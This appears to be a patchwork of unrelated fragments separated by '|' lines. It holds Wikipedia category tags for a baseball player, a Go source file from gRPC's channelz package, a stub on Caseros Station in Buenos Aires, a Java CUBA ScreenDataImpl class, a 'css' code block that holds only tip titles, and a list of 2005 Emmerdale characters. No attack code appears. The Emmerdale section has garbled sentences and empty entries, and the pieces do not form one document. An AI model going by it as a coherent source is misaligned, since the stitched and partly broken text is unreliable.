Buffalo Bisons (minor league) players
Caribes de Anzoátegui players
Carolina Mudcats players
Edmonton Trappers players
Erie SeaWolves players
Gulf Coast Pirates players
Indianapolis Indians players
Leones del Caracas players
American expatriate baseball players in Venezuela
Major League Baseball center fielders
Newark Bears players
Pittsburgh Pirates players
Princeton Pirates players
Princeton Reds players
Salem Buccaneers players
Sioux Falls Canaries players
Somerset Patriots players
Sportspeople from Perth Amboy, New Jersey
Syracuse Orangemen baseball players
Syracuse University alumni
Taipei Gida players
Vancouver Canadians players
Welland Pirates players
21st-century African-American people
20th-century African-American sportspeople
Syracuse Orange football players
Perth Amboy High School alumni
|
```go
/*
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
// Package channelz defines APIs for enabling channelz service, entry
// registration/deletion, and accessing channelz data. It also defines channelz
// metric struct formats.
//
// All APIs in this package are experimental.
package channelz
import (
"errors"
"sort"
"sync"
"sync/atomic"
"time"
"google.golang.org/grpc/grpclog"
)
const (
defaultMaxTraceEntry int32 = 30
)
var (
// IDGen is the global channelz entity ID generator. It should not be used
// outside this package except by tests.
IDGen IDGenerator
db dbWrapper
// EntryPerPage defines the number of channelz entries to be shown on a web page.
EntryPerPage = int64(50)
curState int32
maxTraceEntry = defaultMaxTraceEntry
)
// TurnOn turns on channelz data collection.
func TurnOn() {
if !IsOn() {
db.set(newChannelMap())
IDGen.Reset()
atomic.StoreInt32(&curState, 1)
}
}
// IsOn returns whether channelz data collection is on.
func IsOn() bool {
return atomic.LoadInt32(&curState) == 1
}
// SetMaxTraceEntry sets maximum number of trace entry per entity (i.e. channel/subchannel).
// Setting it to 0 will disable channel tracing.
func SetMaxTraceEntry(i int32) {
atomic.StoreInt32(&maxTraceEntry, i)
}
// ResetMaxTraceEntryToDefault resets the maximum number of trace entry per entity to default.
func ResetMaxTraceEntryToDefault() {
atomic.StoreInt32(&maxTraceEntry, defaultMaxTraceEntry)
}
func getMaxTraceEntry() int {
i := atomic.LoadInt32(&maxTraceEntry)
return int(i)
}
// dbWarpper wraps around a reference to internal channelz data storage, and
// provide synchronized functionality to set and get the reference.
type dbWrapper struct {
mu sync.RWMutex
DB *channelMap
}
func (d *dbWrapper) set(db *channelMap) {
d.mu.Lock()
d.DB = db
d.mu.Unlock()
}
func (d *dbWrapper) get() *channelMap {
d.mu.RLock()
defer d.mu.RUnlock()
return d.DB
}
// GetTopChannels returns a slice of top channel's ChannelMetric, along with a
// boolean indicating whether there's more top channels to be queried for.
//
// The arg id specifies that only top channel with id at or above it will be included
// in the result. The returned slice is up to a length of the arg maxResults or
// EntryPerPage if maxResults is zero, and is sorted in ascending id order.
func GetTopChannels(id int64, maxResults int64) ([]*ChannelMetric, bool) {
return db.get().GetTopChannels(id, maxResults)
}
// GetServers returns a slice of server's ServerMetric, along with a
// boolean indicating whether there's more servers to be queried for.
//
// The arg id specifies that only server with id at or above it will be included
// in the result. The returned slice is up to a length of the arg maxResults or
// EntryPerPage if maxResults is zero, and is sorted in ascending id order.
func GetServers(id int64, maxResults int64) ([]*ServerMetric, bool) {
return db.get().GetServers(id, maxResults)
}
// GetServerSockets returns a slice of server's (identified by id) normal socket's
// SocketMetric, along with a boolean indicating whether there's more sockets to
// be queried for.
//
// The arg startID specifies that only sockets with id at or above it will be
// included in the result. The returned slice is up to a length of the arg maxResults
// or EntryPerPage if maxResults is zero, and is sorted in ascending id order.
func GetServerSockets(id int64, startID int64, maxResults int64) ([]*SocketMetric, bool) {
return db.get().GetServerSockets(id, startID, maxResults)
}
// GetChannel returns the ChannelMetric for the channel (identified by id).
func GetChannel(id int64) *ChannelMetric {
return db.get().GetChannel(id)
}
// GetSubChannel returns the SubChannelMetric for the subchannel (identified by id).
func GetSubChannel(id int64) *SubChannelMetric {
return db.get().GetSubChannel(id)
}
// GetSocket returns the SocketInternalMetric for the socket (identified by id).
func GetSocket(id int64) *SocketMetric {
return db.get().GetSocket(id)
}
// GetServer returns the ServerMetric for the server (identified by id).
func GetServer(id int64) *ServerMetric {
return db.get().GetServer(id)
}
// RegisterChannel registers the given channel c in the channelz database with
// ref as its reference name, and adds it to the child list of its parent
// (identified by pid). pid == nil means no parent.
//
// Returns a unique channelz identifier assigned to this channel.
//
// If channelz is not turned ON, the channelz database is not mutated.
func RegisterChannel(c Channel, pid *Identifier, ref string) *Identifier {
id := IDGen.genID()
var parent int64
isTopChannel := true
if pid != nil {
isTopChannel = false
parent = pid.Int()
}
if !IsOn() {
return newIdentifer(RefChannel, id, pid)
}
cn := &channel{
refName: ref,
c: c,
subChans: make(map[int64]string),
nestedChans: make(map[int64]string),
id: id,
pid: parent,
trace: &channelTrace{createdTime: time.Now(), events: make([]*TraceEvent, 0, getMaxTraceEntry())},
}
db.get().addChannel(id, cn, isTopChannel, parent)
return newIdentifer(RefChannel, id, pid)
}
// RegisterSubChannel registers the given subChannel c in the channelz database
// with ref as its reference name, and adds it to the child list of its parent
// (identified by pid).
//
// Returns a unique channelz identifier assigned to this subChannel.
//
// If channelz is not turned ON, the channelz database is not mutated.
func RegisterSubChannel(c Channel, pid *Identifier, ref string) (*Identifier, error) {
if pid == nil {
return nil, errors.New("a SubChannel's parent id cannot be nil")
}
id := IDGen.genID()
if !IsOn() {
return newIdentifer(RefSubChannel, id, pid), nil
}
sc := &subChannel{
refName: ref,
c: c,
sockets: make(map[int64]string),
id: id,
pid: pid.Int(),
trace: &channelTrace{createdTime: time.Now(), events: make([]*TraceEvent, 0, getMaxTraceEntry())},
}
db.get().addSubChannel(id, sc, pid.Int())
return newIdentifer(RefSubChannel, id, pid), nil
}
// RegisterServer registers the given server s in channelz database. It returns
// the unique channelz tracking id assigned to this server.
//
// If channelz is not turned ON, the channelz database is not mutated.
func RegisterServer(s Server, ref string) *Identifier {
id := IDGen.genID()
if !IsOn() {
return newIdentifer(RefServer, id, nil)
}
svr := &server{
refName: ref,
s: s,
sockets: make(map[int64]string),
listenSockets: make(map[int64]string),
id: id,
}
db.get().addServer(id, svr)
return newIdentifer(RefServer, id, nil)
}
// RegisterListenSocket registers the given listen socket s in channelz database
// with ref as its reference name, and add it to the child list of its parent
// (identified by pid). It returns the unique channelz tracking id assigned to
// this listen socket.
//
// If channelz is not turned ON, the channelz database is not mutated.
func RegisterListenSocket(s Socket, pid *Identifier, ref string) (*Identifier, error) {
if pid == nil {
return nil, errors.New("a ListenSocket's parent id cannot be 0")
}
id := IDGen.genID()
if !IsOn() {
return newIdentifer(RefListenSocket, id, pid), nil
}
ls := &listenSocket{refName: ref, s: s, id: id, pid: pid.Int()}
db.get().addListenSocket(id, ls, pid.Int())
return newIdentifer(RefListenSocket, id, pid), nil
}
// RegisterNormalSocket registers the given normal socket s in channelz database
// with ref as its reference name, and adds it to the child list of its parent
// (identified by pid). It returns the unique channelz tracking id assigned to
// this normal socket.
//
// If channelz is not turned ON, the channelz database is not mutated.
func RegisterNormalSocket(s Socket, pid *Identifier, ref string) (*Identifier, error) {
if pid == nil {
return nil, errors.New("a NormalSocket's parent id cannot be 0")
}
id := IDGen.genID()
if !IsOn() {
return newIdentifer(RefNormalSocket, id, pid), nil
}
ns := &normalSocket{refName: ref, s: s, id: id, pid: pid.Int()}
db.get().addNormalSocket(id, ns, pid.Int())
return newIdentifer(RefNormalSocket, id, pid), nil
}
// RemoveEntry removes an entry with unique channelz tracking id to be id from
// channelz database.
//
// If channelz is not turned ON, this function is a no-op.
func RemoveEntry(id *Identifier) {
if !IsOn() {
return
}
db.get().removeEntry(id.Int())
}
// TraceEventDesc is what the caller of AddTraceEvent should provide to describe
// the event to be added to the channel trace.
//
// The Parent field is optional. It is used for an event that will be recorded
// in the entity's parent trace.
type TraceEventDesc struct {
Desc string
Severity Severity
Parent *TraceEventDesc
}
// AddTraceEvent adds trace related to the entity with specified id, using the
// provided TraceEventDesc.
//
// If channelz is not turned ON, this will simply log the event descriptions.
func AddTraceEvent(l grpclog.DepthLoggerV2, id *Identifier, depth int, desc *TraceEventDesc) {
// Log only the trace description associated with the bottom most entity.
switch desc.Severity {
case CtUnknown, CtInfo:
l.InfoDepth(depth+1, withParens(id)+desc.Desc)
case CtWarning:
l.WarningDepth(depth+1, withParens(id)+desc.Desc)
case CtError:
l.ErrorDepth(depth+1, withParens(id)+desc.Desc)
}
if getMaxTraceEntry() == 0 {
return
}
if IsOn() {
db.get().traceEvent(id.Int(), desc)
}
}
// channelMap is the storage data structure for channelz.
// Methods of channelMap can be divided in two two categories with respect to locking.
// 1. Methods acquire the global lock.
// 2. Methods that can only be called when global lock is held.
// A second type of method need always to be called inside a first type of method.
type channelMap struct {
mu sync.RWMutex
topLevelChannels map[int64]struct{}
servers map[int64]*server
channels map[int64]*channel
subChannels map[int64]*subChannel
listenSockets map[int64]*listenSocket
normalSockets map[int64]*normalSocket
}
func newChannelMap() *channelMap {
return &channelMap{
topLevelChannels: make(map[int64]struct{}),
channels: make(map[int64]*channel),
listenSockets: make(map[int64]*listenSocket),
normalSockets: make(map[int64]*normalSocket),
servers: make(map[int64]*server),
subChannels: make(map[int64]*subChannel),
}
}
func (c *channelMap) addServer(id int64, s *server) {
c.mu.Lock()
s.cm = c
c.servers[id] = s
c.mu.Unlock()
}
func (c *channelMap) addChannel(id int64, cn *channel, isTopChannel bool, pid int64) {
c.mu.Lock()
cn.cm = c
cn.trace.cm = c
c.channels[id] = cn
if isTopChannel {
c.topLevelChannels[id] = struct{}{}
} else {
c.findEntry(pid).addChild(id, cn)
}
c.mu.Unlock()
}
func (c *channelMap) addSubChannel(id int64, sc *subChannel, pid int64) {
c.mu.Lock()
sc.cm = c
sc.trace.cm = c
c.subChannels[id] = sc
c.findEntry(pid).addChild(id, sc)
c.mu.Unlock()
}
func (c *channelMap) addListenSocket(id int64, ls *listenSocket, pid int64) {
c.mu.Lock()
ls.cm = c
c.listenSockets[id] = ls
c.findEntry(pid).addChild(id, ls)
c.mu.Unlock()
}
func (c *channelMap) addNormalSocket(id int64, ns *normalSocket, pid int64) {
c.mu.Lock()
ns.cm = c
c.normalSockets[id] = ns
c.findEntry(pid).addChild(id, ns)
c.mu.Unlock()
}
// removeEntry triggers the removal of an entry, which may not indeed delete the entry, if it has to
// wait on the deletion of its children and until no other entity's channel trace references it.
// It may lead to a chain of entry deletion. For example, deleting the last socket of a gracefully
// shutting down server will lead to the server being also deleted.
func (c *channelMap) removeEntry(id int64) {
c.mu.Lock()
c.findEntry(id).triggerDelete()
c.mu.Unlock()
}
// c.mu must be held by the caller
func (c *channelMap) decrTraceRefCount(id int64) {
e := c.findEntry(id)
if v, ok := e.(tracedChannel); ok {
v.decrTraceRefCount()
e.deleteSelfIfReady()
}
}
// c.mu must be held by the caller.
func (c *channelMap) findEntry(id int64) entry {
var v entry
var ok bool
if v, ok = c.channels[id]; ok {
return v
}
if v, ok = c.subChannels[id]; ok {
return v
}
if v, ok = c.servers[id]; ok {
return v
}
if v, ok = c.listenSockets[id]; ok {
return v
}
if v, ok = c.normalSockets[id]; ok {
return v
}
return &dummyEntry{idNotFound: id}
}
// c.mu must be held by the caller
// deleteEntry simply deletes an entry from the channelMap. Before calling this
// method, caller must check this entry is ready to be deleted, i.e removeEntry()
// has been called on it, and no children still exist.
// Conditionals are ordered by the expected frequency of deletion of each entity
// type, in order to optimize performance.
func (c *channelMap) deleteEntry(id int64) {
var ok bool
if _, ok = c.normalSockets[id]; ok {
delete(c.normalSockets, id)
return
}
if _, ok = c.subChannels[id]; ok {
delete(c.subChannels, id)
return
}
if _, ok = c.channels[id]; ok {
delete(c.channels, id)
delete(c.topLevelChannels, id)
return
}
if _, ok = c.listenSockets[id]; ok {
delete(c.listenSockets, id)
return
}
if _, ok = c.servers[id]; ok {
delete(c.servers, id)
return
}
}
func (c *channelMap) traceEvent(id int64, desc *TraceEventDesc) {
c.mu.Lock()
child := c.findEntry(id)
childTC, ok := child.(tracedChannel)
if !ok {
c.mu.Unlock()
return
}
childTC.getChannelTrace().append(&TraceEvent{Desc: desc.Desc, Severity: desc.Severity, Timestamp: time.Now()})
if desc.Parent != nil {
parent := c.findEntry(child.getParentID())
var chanType RefChannelType
switch child.(type) {
case *channel:
chanType = RefChannel
case *subChannel:
chanType = RefSubChannel
}
if parentTC, ok := parent.(tracedChannel); ok {
parentTC.getChannelTrace().append(&TraceEvent{
Desc: desc.Parent.Desc,
Severity: desc.Parent.Severity,
Timestamp: time.Now(),
RefID: id,
RefName: childTC.getRefName(),
RefType: chanType,
})
childTC.incrTraceRefCount()
}
}
c.mu.Unlock()
}
type int64Slice []int64
func (s int64Slice) Len() int { return len(s) }
func (s int64Slice) Swap(i, j int) { s[i], s[j] = s[j], s[i] }
func (s int64Slice) Less(i, j int) bool { return s[i] < s[j] }
func copyMap(m map[int64]string) map[int64]string {
n := make(map[int64]string)
for k, v := range m {
n[k] = v
}
return n
}
func min(a, b int64) int64 {
if a < b {
return a
}
return b
}
func (c *channelMap) GetTopChannels(id int64, maxResults int64) ([]*ChannelMetric, bool) {
if maxResults <= 0 {
maxResults = EntryPerPage
}
c.mu.RLock()
l := int64(len(c.topLevelChannels))
ids := make([]int64, 0, l)
cns := make([]*channel, 0, min(l, maxResults))
for k := range c.topLevelChannels {
ids = append(ids, k)
}
sort.Sort(int64Slice(ids))
idx := sort.Search(len(ids), func(i int) bool { return ids[i] >= id })
count := int64(0)
var end bool
var t []*ChannelMetric
for i, v := range ids[idx:] {
if count == maxResults {
break
}
if cn, ok := c.channels[v]; ok {
cns = append(cns, cn)
t = append(t, &ChannelMetric{
NestedChans: copyMap(cn.nestedChans),
SubChans: copyMap(cn.subChans),
})
count++
}
if i == len(ids[idx:])-1 {
end = true
break
}
}
c.mu.RUnlock()
if count == 0 {
end = true
}
for i, cn := range cns {
t[i].ChannelData = cn.c.ChannelzMetric()
t[i].ID = cn.id
t[i].RefName = cn.refName
t[i].Trace = cn.trace.dumpData()
}
return t, end
}
func (c *channelMap) GetServers(id, maxResults int64) ([]*ServerMetric, bool) {
if maxResults <= 0 {
maxResults = EntryPerPage
}
c.mu.RLock()
l := int64(len(c.servers))
ids := make([]int64, 0, l)
ss := make([]*server, 0, min(l, maxResults))
for k := range c.servers {
ids = append(ids, k)
}
sort.Sort(int64Slice(ids))
idx := sort.Search(len(ids), func(i int) bool { return ids[i] >= id })
count := int64(0)
var end bool
var s []*ServerMetric
for i, v := range ids[idx:] {
if count == maxResults {
break
}
if svr, ok := c.servers[v]; ok {
ss = append(ss, svr)
s = append(s, &ServerMetric{
ListenSockets: copyMap(svr.listenSockets),
})
count++
}
if i == len(ids[idx:])-1 {
end = true
break
}
}
c.mu.RUnlock()
if count == 0 {
end = true
}
for i, svr := range ss {
s[i].ServerData = svr.s.ChannelzMetric()
s[i].ID = svr.id
s[i].RefName = svr.refName
}
return s, end
}
func (c *channelMap) GetServerSockets(id int64, startID int64, maxResults int64) ([]*SocketMetric, bool) {
if maxResults <= 0 {
maxResults = EntryPerPage
}
var svr *server
var ok bool
c.mu.RLock()
if svr, ok = c.servers[id]; !ok {
// server with id doesn't exist.
c.mu.RUnlock()
return nil, true
}
svrskts := svr.sockets
l := int64(len(svrskts))
ids := make([]int64, 0, l)
sks := make([]*normalSocket, 0, min(l, maxResults))
for k := range svrskts {
ids = append(ids, k)
}
sort.Sort(int64Slice(ids))
idx := sort.Search(len(ids), func(i int) bool { return ids[i] >= startID })
count := int64(0)
var end bool
for i, v := range ids[idx:] {
if count == maxResults {
break
}
if ns, ok := c.normalSockets[v]; ok {
sks = append(sks, ns)
count++
}
if i == len(ids[idx:])-1 {
end = true
break
}
}
c.mu.RUnlock()
if count == 0 {
end = true
}
s := make([]*SocketMetric, 0, len(sks))
for _, ns := range sks {
sm := &SocketMetric{}
sm.SocketData = ns.s.ChannelzMetric()
sm.ID = ns.id
sm.RefName = ns.refName
s = append(s, sm)
}
return s, end
}
func (c *channelMap) GetChannel(id int64) *ChannelMetric {
cm := &ChannelMetric{}
var cn *channel
var ok bool
c.mu.RLock()
if cn, ok = c.channels[id]; !ok {
// channel with id doesn't exist.
c.mu.RUnlock()
return nil
}
cm.NestedChans = copyMap(cn.nestedChans)
cm.SubChans = copyMap(cn.subChans)
// cn.c can be set to &dummyChannel{} when deleteSelfFromMap is called. Save a copy of cn.c when
// holding the lock to prevent potential data race.
chanCopy := cn.c
c.mu.RUnlock()
cm.ChannelData = chanCopy.ChannelzMetric()
cm.ID = cn.id
cm.RefName = cn.refName
cm.Trace = cn.trace.dumpData()
return cm
}
func (c *channelMap) GetSubChannel(id int64) *SubChannelMetric {
cm := &SubChannelMetric{}
var sc *subChannel
var ok bool
c.mu.RLock()
if sc, ok = c.subChannels[id]; !ok {
// subchannel with id doesn't exist.
c.mu.RUnlock()
return nil
}
cm.Sockets = copyMap(sc.sockets)
// sc.c can be set to &dummyChannel{} when deleteSelfFromMap is called. Save a copy of sc.c when
// holding the lock to prevent potential data race.
chanCopy := sc.c
c.mu.RUnlock()
cm.ChannelData = chanCopy.ChannelzMetric()
cm.ID = sc.id
cm.RefName = sc.refName
cm.Trace = sc.trace.dumpData()
return cm
}
func (c *channelMap) GetSocket(id int64) *SocketMetric {
sm := &SocketMetric{}
c.mu.RLock()
if ls, ok := c.listenSockets[id]; ok {
c.mu.RUnlock()
sm.SocketData = ls.s.ChannelzMetric()
sm.ID = ls.id
sm.RefName = ls.refName
return sm
}
if ns, ok := c.normalSockets[id]; ok {
c.mu.RUnlock()
sm.SocketData = ns.s.ChannelzMetric()
sm.ID = ns.id
sm.RefName = ns.refName
return sm
}
c.mu.RUnlock()
return nil
}
func (c *channelMap) GetServer(id int64) *ServerMetric {
sm := &ServerMetric{}
var svr *server
var ok bool
c.mu.RLock()
if svr, ok = c.servers[id]; !ok {
c.mu.RUnlock()
return nil
}
sm.ListenSockets = copyMap(svr.listenSockets)
c.mu.RUnlock()
sm.ID = svr.id
sm.RefName = svr.refName
sm.ServerData = svr.s.ChannelzMetric()
return sm
}
// IDGenerator is an incrementing atomic that tracks IDs for channelz entities.
type IDGenerator struct {
id int64
}
// Reset resets the generated ID back to zero. Should only be used at
// initialization or by tests sensitive to the ID number.
func (i *IDGenerator) Reset() {
atomic.StoreInt64(&i.id, 0)
}
func (i *IDGenerator) genID() int64 {
return atomic.AddInt64(&i.id, 1)
}
```
|
Caseros Station is a station on Line H of the Buenos Aires Underground. The station was opened on 18 October 2007, as the southern terminus of the inaugural section of the line, between Once - 30 de Diciembre and Caseros. It remained the line's southern terminus until the opening of Parque Patricios Station on 4 October 2011.
References
External links
Buenos Aires Underground stations
Railway stations opened in 2007
2007 establishments in Argentina
|
```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package com.haulmont.cuba.gui.model.impl;
import com.haulmont.cuba.gui.model.*;
import com.haulmont.cuba.gui.screen.Screen;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.function.Consumer;
public class ScreenDataImpl implements ScreenData {
protected DataContext dataContext;
protected Map<String, InstanceContainer> containers = new HashMap<>();
protected Map<String, DataLoader> loaders = new HashMap<>();
protected LoadBeforeShowStrategy loadBeforeShowStrategy = new AnnotationBasedLoaderBeforeShow();
@Override
public DataContext getDataContext() {
return dataContext;
}
@Override
public void setDataContext(DataContext dataContext) {
this.dataContext = dataContext;
}
@SuppressWarnings("unchecked")
@Override
public <T extends InstanceContainer> T getContainer(String id) {
T container = (T) containers.get(id);
if (container == null) {
throw new IllegalArgumentException(String.format("Container '%s' not found", id));
}
return container;
}
@SuppressWarnings("unchecked")
@Override
public <T extends DataLoader> T getLoader(String id) {
T loader = (T) loaders.get(id);
if (loader == null) {
throw new IllegalArgumentException(String.format("Loader '%s' not found", id));
}
return loader;
}
@Override
public Set<String> getContainerIds() {
return containers.keySet();
}
@Override
public Set<String> getLoaderIds() {
return loaders.keySet();
}
@Override
public void loadAll() {
for (DataLoader loader : loaders.values()) {
loader.load();
}
}
@Override
public LoadBeforeShowStrategy getLoadBeforeShowStrategy() {
return loadBeforeShowStrategy;
}
@Override
public void setLoadBeforeShowStrategy(LoadBeforeShowStrategy strategy) {
loadBeforeShowStrategy = strategy;
}
@Override
public void registerContainer(String id, InstanceContainer container) {
containers.put(id, container);
}
@Override
public void registerLoader(String id, DataLoader loader) {
loaders.put(id, loader);
}
}
```
|
```css
`vh` and `vw`, `vmin` and `vmax`
CSS Specificity
Determine the opacity of background-colors using the RGBA declaration
Default to a transparent `border-color` before adding a border to on `:hover` state elements
Matching images to a website's color scheme
```
|
The following is a list of characters that first appeared in the British soap opera Emmerdale in 2005, by order of first appearance. All characters were introduced by the soap's executive producer, Keith Richardson.
Max King
Max King, portrayed by Charlie Kemp, arrives in the village after backpacking with his girlfriend to attend his father's ill-fated wedding to Charity Dingle (Emma Atkins). He then gets a job at Paddy Kirk's (Dominic Brunt) vet practice to support more travelling ventures. However, he is conned by his father in order to get land. Tom uses Max's position as a vet to poison the animals kept by the owners who refused to sell the land.
After having been bullied into poisoning the Briggs family's calves by Tom, a guilty Max decides to leave the village, sick and tired of his father's chicanery. He and Robert Sugden (Karl Davies) plan to leave Emmerdale and drive to London, but Robert's adopted brother Andy (Kelvin Fletcher) gets into a fight with Robert. Max breaks up the fight and decides that he did not want to go with Robert. He gets into Andy's Land Rover and asks him to drive him to the railway station. Robert, who had driven off, turns his car round and drove straight at them, causing Max to grab the steering wheel and send the vehicle off the road and through a brick wall. Andy makes a quick escape, but Max becomes trapped in the car and is killed when it explodes, having rolled onto its roof.
Amy Carter
Amy Carter was the girlfriend of Max King (Charlie Kemp). Max and Amy had spent time traveling and arrive in the village for his father Tom's (Kenneth Farrington) ill-fated wedding to Charity Dingle (Emma Atkins) before intending to travel to Thailand after visiting Amy's parents in Cornwall. The King family treats her with open contempt. The wedding ends in disaster, and Tom re-evaluates his life and demands that Max stay and get a job. Max agrees, and an upset Amy says she will wait for him. However, he tells her to go to Cornwall without him. She tells him that they will keep in touch, but as she leaves the village in a taxi, Max deletes her number from his mobile phone.
Phyllis King
Phyllis King is Tom King's aunt. She appeared in 2005 and 2007.
The sister of Tom's father Albert, Phyllis first appears for Tom's ill-fated wedding to Charity Dingle (Emma Atkins). Often complaining, Phyllis only seems happy to see her favourite great-nephew Carl (Tom Lister). She returns later in October 2005 for Max’s funeral and in February 2007 for Tom’s funeral. She made her most recent appearance at Jimmy King's (Nick Miles) ill-fated wedding to Kelly Windsor (Adele Silva) in October 2007.
Libby Charles
Libby Charles was the girlfriend of Andy Sugden (Kelvin Fletcher). She appeared in 2005.
Libby and her sister Tamsin (Jenny Gleave) are first glimpsed on horseback by Andy and his younger brother Daz (Luke Tittensor). The sisters come from money, and Libby asks Andy about renting out his stables. Andy hopes for a date, but is disappointed to learn she has a boyfriend. Libby begins working as a receptionist at the vets and has to fend off the flirtations of Max King (Charlie Kemp). When she loses interest in her boyfriend, she begins dating Andy. She's rattled when she learns he had a relationship with underage Debbie Dingle (Charley Webb), but she and Andy become closer and closer, with Libby even planning to open a business on his farm, giving pony rides to children. Their happy relationship ends when Andy learns Debbie has given birth to his child. Andy wants to do right by the baby, so he breaks up with Libby to be with Debbie. Libby puts up a good front, but is clearly hurt. A few weeks later, she announces her plans to spend the summer in Italy with her sister Tamsin. She offers to give Paddy Kirk (Dominic Brunt) her notice, but he fires her with immediate effect and she leaves.
Tamsin Charles
Tamsin Charles is the sister of Libby Charles (Ty Glaser). She appeared in 2005.
Tamsin first appeared on horseback with Libby, but the two girls have very different personalities. Tamsin has little time for quaint village life or a hard day's work. Her father forces her to get a job, but her stint as secretary for the Kings is short-lived, as she is more interested in using the computer to shop for shoes. When The Woolpack is desperate for a new barmaid, Tamsin is hired, but spends most of her time on breaks. After repeatedly clashing with barman Paul Lambert (Matthew Bose), Tamsin quits her job before he can fire her, and storms out of the pub.
Moira Stanley
Moira Stanley was the cellmate of Steph Stokes (Lorraine Chase). She appeared in 2005.
When Steph is remanded in prison to await trial for the murder of Shelley Williams (Carolyn Pickles), she shares a cell with Moira. Steph has very little patience with Moira, who is very clingy and insecure. At one point Steph tells curate Ethan Blake (Liam O'Brien) that Moira reminds her of Shelley. Steph is freed when Shelley turns up alive and decides not to press charges. As a goodbye gift, Steph gives Moira her radio.
Steven Dickinson
Steven Dickinson is a lawyer. He appeared in 2005.
Steven represents Steph Stokes (Lorraine Chase) when she is accused of the presumed murder of Shelley Williams (Carolyn Pickles). Steph makes his job difficult, as she moves in and out of sanity and cannot remember whether or not she killed Shelley. After a few weeks, Shelley turns up alive and Steph is freed.
Marian Winters
Marian Winters is a widow. She appeared in 2005.
Marian has recently lost her husband, and seeks counsel from curate Ethan Blake (Liam O'Brien) about moving away from the village, but she is unnerved by the presence of Steph Stokes (Lorraine Chase) and quickly exits. Soon she speaks to Eric Pollard (Chris Chittell) about selling some of her belongings to help finance her move. Eric, sensing an opportunity to make money, gives her less than the actual value of her antiques so he can sell them and make a healthy profit.
Craig Briggs
Craig Briggs is a local farmer. He appeared from 2005 to 2006, when the character was axed.
Craig first appears when he asks the local vicar Ashley Thomas (John Middleton) - who was considering leaving the ministry - to come visit his ill mother, who then passes away while seeing Ashley. Craig is a local farmer, and initially refuses Tom King's offer to buy his land. Craig and his wife Sandra make frequent appearances until their departures from the village in February 2006.
Johnny Hupton
Johnny Hupton is a food representative for Super Fresh. He appeared in 2005.
Johnny shows up at Viv Hope's (Deena Payne) café for business, but Viv, recently separated from her husband, is in the mood for romance. She convinces Johnny to go on a date, but her aggressiveness causes him to flee The Woolpack within a half-hour.
Lynda Ashby
Lynda Ashby was an old girlfriend of Matthew King. She appeared in 2005.
When Matthew, Louise Appleton, and Terry Woods decide to open a bed and breakfast, they agree to check out Moorview B&B, run by Lynda Ashby. Terry has a scheduling conflict, so Matthew and Louise dine alone, as a jealous Lynda looks on. Several months later, Matthew and Louise return for a brief tryst. Lynda remarks to Matthew that he's been too busy to drop by, and as he looks at a pregnant Lynda, he smirks and says she's obviously been otherwise engaged as well.
Kayleigh Gibbs
Kayleigh Gibbs was a friend of Victoria Sugden.
Kayleigh first appears in March 2005, attending Victoria Sugden's (Hannah Midgley) 11th birthday party. Kayleigh's father, DC Martin Crowe (Graeme Hawley), is a police officer. She helps him to woo Louise Appleton (Emily Symons) and they soon move in with Louise. Kayleigh and Victoria enjoy winding Louise up. Martin finds out that Louise once killed a man, and decides he cannot stay with her, so he and Kayleigh move out. He does not tell Kayleigh the real reason why he has left Louise, and months later, she returns and asks Louise why they split up. Louise lies and says things just did not work out and Kayleigh, not believing her, says she never wants to see her again.
Although she no longer lives in the village, Kayleigh is still friends with Victoria and appears with her. Together they have sneaked into clubs, and egged the post office, causing a pregnant Viv Hope to collapse. In November 2008, Victoria and Kayleigh get money off various people in order to buy tickets to a New Year's Party, and in December, is seen when Aaron Livesy (Danny Miller) is bullying Victoria.
Kayleigh next appears in November 2009 and is involved in a bullying story with Hannah Barton (Grace Cassidy). Kayleigh takes a disliking to Victoria being friends with Hannah and send her insulting text messages. After Hannah told her parents what had been going on, they confront Victoria, believing her to be just as involved as Kayleigh. Victoria promises that she will ask Kayleigh to lay off Hannah. However, the following day, she returns from school covered in cuts and bruises having got into a fight with Kayleigh. Victoria ends her friendship with Kayleigh and she is not seen again.
Sian Harper
Sian Harper is an acquaintance of Matthew King. She appeared in 2005 in the Woolpack. A few weeks later, Matthew invites her for dinner with himself, Terry Woods. When Sian realises becomes angry and leaves soon after dinner.
Ivy Lynch
Ivy Lynch is a customer of Scott Windsor. She appeared in 2005.
Scott needs a car for his girlfriend Dawn Woods to practice driving lessons in. When Ivy, whom he takes as an easily manipulated old woman, stops by the garage for repairs, he convinces her that her car is a death trap he can generously buy from her. She sells him the car at a cheap price, but several days later, a furious Ivy and her muscular son Phil confront Scott and Dawn. When Dawn learns what Scott has done, she gives them the car and as compensation, also gives them some of the money they try to return to Scott.
Ivan Jones
Adam Forsythe
Juliet Garside
Juliet Garside is a receptionist at King & Sons. She appeared in 2005.
After the departure of Chloe Atkinson, Tom King goes through several receptionists, including Juliet. Tom admires Juliet's work and is disappointed, if not surprised, when she tells him she has to quit because of sexual harassment from Jimmy King.
Neville Gunn
Neville Gunn is an acquaintance of Chas Dingle. He appeared in 2005.
Chas' old flame Carl King takes her out for a drink, and she runs into Neville, an old friend from her days as a stripper. Carl plans to take Chas back to his place, but Neville joins them, and Neville and Chas spend most of the night laughing over old times.
Rita Brannigan
Rita Brannigan played by Emma Kearney made her first appearance on 18 July 2005. Rita was introduced as a new love interest for Paddy Kirk (Dominic Brunt) following his separation from Emily Kirk (Kate McGregor). Kearney had undergone weight loss prior to securing the role of Rita. She told Mike Glendenning of the Manchester Evening News: "I hadn't been to one of these groups before but when I got on the scales and saw the reading, I decided there and then that I was never getting that big again. I've never stuck to a diet before, but this isn't a diet, it's just a different way of living." Speaking her character Rita, Kearnery said "Paddy, who has just split from Emily, has a night out with Marlon and brings her back home. I had a great craic doing it, Rita's very bubbly and energetic and I'm waiting to see if she'll become a recurring character." She added: "I'd always watched Emmerdale so this was pretty big for me, sitting in The Woolpack with the cast and crew, but they're an awful humble and lovely bunch of people, very kind and welcoming and it was really nice to be able to work on it."
Rita meets Paddy on a night out and they go back to Smithy Cottage but they wake up Paddy's estranged wife Emily, which leads to an awkward encounter. Rita then leaves. The following year, Rita returns when she bumps into Paddy, Marlon, Donna Windsor-Dingle (Verity Rushworth) and Toni Daggert (Kerry Stacey. Rita recognises Marlon but he fails to recognise her but Paddy does, much to Toni's annoyance. Paddy and Rita reconect but when Toni is rejected, Paddy leaves Rita and takes Toni home.
